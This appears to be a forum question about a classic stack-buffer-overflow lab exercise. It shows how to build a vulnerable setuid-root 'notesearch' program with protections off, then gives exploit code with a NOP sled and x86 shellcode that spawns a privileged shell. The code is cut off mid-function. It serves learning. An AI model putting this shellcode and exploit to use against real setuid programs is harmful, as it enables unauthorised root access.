问sh: 1:语法错误:未终止的引号字符串-- Shellcode

EN

gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch
sudo chown root:root notesearch
sudo chmod u+s notesearch

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
                   "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
                   "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
                   "\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;

   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int)&i - offset; // set return address
   printf("%0x\n\n", ret);

   for(i=0; i <105 ; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 20); // build NOP sled
   memcpy(buffer+20, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   system(command); // run exploit

gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c